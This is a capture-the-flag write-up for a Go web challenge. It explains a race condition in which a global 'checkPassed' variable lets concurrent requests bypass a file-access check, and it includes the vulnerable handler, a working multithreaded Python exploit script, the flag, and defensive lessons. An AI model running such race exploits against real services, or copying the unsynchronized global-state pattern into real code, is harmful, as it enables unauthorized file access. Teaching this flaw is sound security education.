153 lines
5.4 KiB
Markdown
153 lines
5.4 KiB
Markdown
# Shared State of Mind
|
|
|
|
Welcome to the write-up for **Shared State of Mind**. This challenge is a "web" challenge that dives into the dangerous waters of concurrency in Go. It demonstrates why global state in a concurrent environment (like a web server) is a recipe for disaster.
|
|
|
|
We are presented with a "High-Performance File Viewer" that claims to have stripped out "bloatware" like mutex locks. Our goal is to read the `flag.txt` file, which is protected by a security check.
|
|
|
|
---
|
|
|
|
## 1. Initial Reconnaissance
|
|
|
|
The challenge provides a URL and a downloadable archive `shared_state_of_mind.tar.xz`.
|
|
Connecting to the URL gives us a file viewer interface (or API). We can request files using `?file=...`.
|
|
|
|
If we try `?file=worker.go`, we get the source code.
|
|
If we try `?file=flag.txt`, we get:
|
|
`Security Check Failed: Forbidden`
|
|
|
|
## 2. Source Code Analysis
|
|
|
|
The archive contains two key Go files: `gateway.go` and `worker.go`.
|
|
|
|
**`gateway.go`**:
|
|
This acts as a load balancer/proxy. It assigns each user a unique session and spawns a dedicated `./worker` process for that user. This means our requests are going to a specific instance of the worker application that is assigned just to us.
|
|
|
|
**`worker.go`**:
|
|
This is where the vulnerability lies. Let's look at how it handles requests:
|
|
|
|
```go
|
|
// GLOBAL VARIABLE
|
|
var checkPassed bool
|
|
|
|
func handler(w http.ResponseWriter, r *http.Request) {
|
|
filename := r.URL.Query().Get("file")
|
|
|
|
// 1. Security Check
|
|
if strings.Contains(filename, "flag") {
|
|
checkPassed = false
|
|
} else {
|
|
checkPassed = true
|
|
}
|
|
|
|
// 2. Logging (simulates delay)
|
|
logAccess(filename)
|
|
|
|
// 3. Serve File
|
|
if checkPassed {
|
|
content, _ := ioutil.ReadFile(filename)
|
|
w.Write(content)
|
|
} else {
|
|
http.Error(w, "Forbidden", 403)
|
|
}
|
|
}
|
|
```
|
|
|
|
## 3. The Vulnerability: Race Condition
|
|
|
|
The variable `checkPassed` is defined as a **global variable** at the package level.
|
|
In Go, `http.ListenAndServe` creates a new goroutine for every incoming request. This means that if multiple requests come in simultaneously, they all share access to the *same* `checkPassed` variable.
|
|
|
|
This creates a **Race Condition** (specifically a Time-of-Check to Time-of-Use issue):
|
|
|
|
1. **Request A (Safe)** comes in for `worker.go`. It sets `checkPassed = true`.
|
|
2. **Request B (Malicious)** comes in for `flag.txt`. It sets `checkPassed = false`.
|
|
3. **Request A** pauses slightly (e.g., during `logAccess` or context switching).
|
|
4. **Request B** pauses slightly.
|
|
5. **Request A** resumes and potentially overwrites `checkPassed` back to `true` *after* Request B had set it to false, but *before* Request B performs its final check.
|
|
|
|
If we time it right, Request B (requesting the flag) will reach the line `if checkPassed` at the exact moment that Request A has set the global variable to `true`.
|
|
|
|
## 4. Exploitation strategy
|
|
|
|
To exploit this, we need to flood the server with two types of requests simultaneously using the **same session cookie** (so they hit the same worker process):
|
|
|
|
1. **Safe Requests:** Repeatedly ask for a allowed file (e.g., `?file=worker.go`). This constantly attempts to set `checkPassed = true`.
|
|
2. **Malicious Requests:** Repeatedly ask for `?file=flag.txt`. This attempts to read the flag.
|
|
|
|
We can use a simple Python script with multiple threads to achieve this.
|
|
|
|
### Exploit Script
|
|
|
|
```python
|
|
import threading
|
|
import requests
|
|
import sys
|
|
import time
|
|
|
|
# --- TARGET CONFIGURATION ---
|
|
TARGET_URL = "http://challenge-url:1320/"
|
|
|
|
print("[*] Initializing Session...")
|
|
s = requests.Session()
|
|
try:
|
|
s.get(TARGET_URL)
|
|
except requests.exceptions.ConnectionError:
|
|
print(f"[-] Could not connect to {TARGET_URL}. Is the docker container running?")
|
|
sys.exit(1)
|
|
|
|
if 'ctf_session' not in s.cookies:
|
|
print("[-] Failed to get session cookie")
|
|
sys.exit(1)
|
|
|
|
print(f"[+] Session ID: {s.cookies['ctf_session']}")
|
|
cookie = {'ctf_session': s.cookies['ctf_session']}
|
|
|
|
def do_safe():
|
|
while True:
|
|
try:
|
|
requests.get(TARGET_URL + "?file=worker.go", cookies=cookie)
|
|
except:
|
|
pass
|
|
|
|
def do_exploit():
|
|
while True:
|
|
try:
|
|
r = requests.get(TARGET_URL + "?file=flag.txt", cookies=cookie)
|
|
if "{flag: " in r.text:
|
|
print(f"\n\n[SUCCESS] Flag Found: {r.text}\n")
|
|
sys.exit(0)
|
|
except:
|
|
pass
|
|
|
|
print("[*] Starting threads... (Press Ctrl+C to stop)")
|
|
|
|
# High volume of safe threads to flip the switch
|
|
for i in range(10):
|
|
t = threading.Thread(target=do_safe)
|
|
t.daemon = True
|
|
t.start()
|
|
|
|
# Exploit thread
|
|
for i in range(1):
|
|
t = threading.Thread(target=do_exploit)
|
|
t.daemon = True
|
|
t.start()
|
|
|
|
while True:
|
|
time.sleep(1)
|
|
```
|
|
|
|
## 5. The Solution
|
|
|
|
Running the exploit script against the target causes a race condition. Within a few seconds, one of the malicious requests will "win" the race—slipping through the check because a concurrent safe request flipped the global switch to `true`.
|
|
|
|
**Flag:** `{flag: D0nt_Sh4r3_M3m0ry_Just_P4ss_Th3_Fl4g}`
|
|
|
|
## Lessons Learned
|
|
|
|
* **Avoid Global State:** Never use global variables to store request-specific data in a web server. Use local variables or pass data through the function context.
|
|
* **Concurrency is Hard:** Just because code looks sequential doesn't mean it executes sequentially relative to other requests.
|
|
* **Thread Safety:** If you must use shared state, always protect it with synchronization primitives like Mutexes, or better yet, use Go's channels to communicate safely.
|
|
|
|
Happy Hacking!
|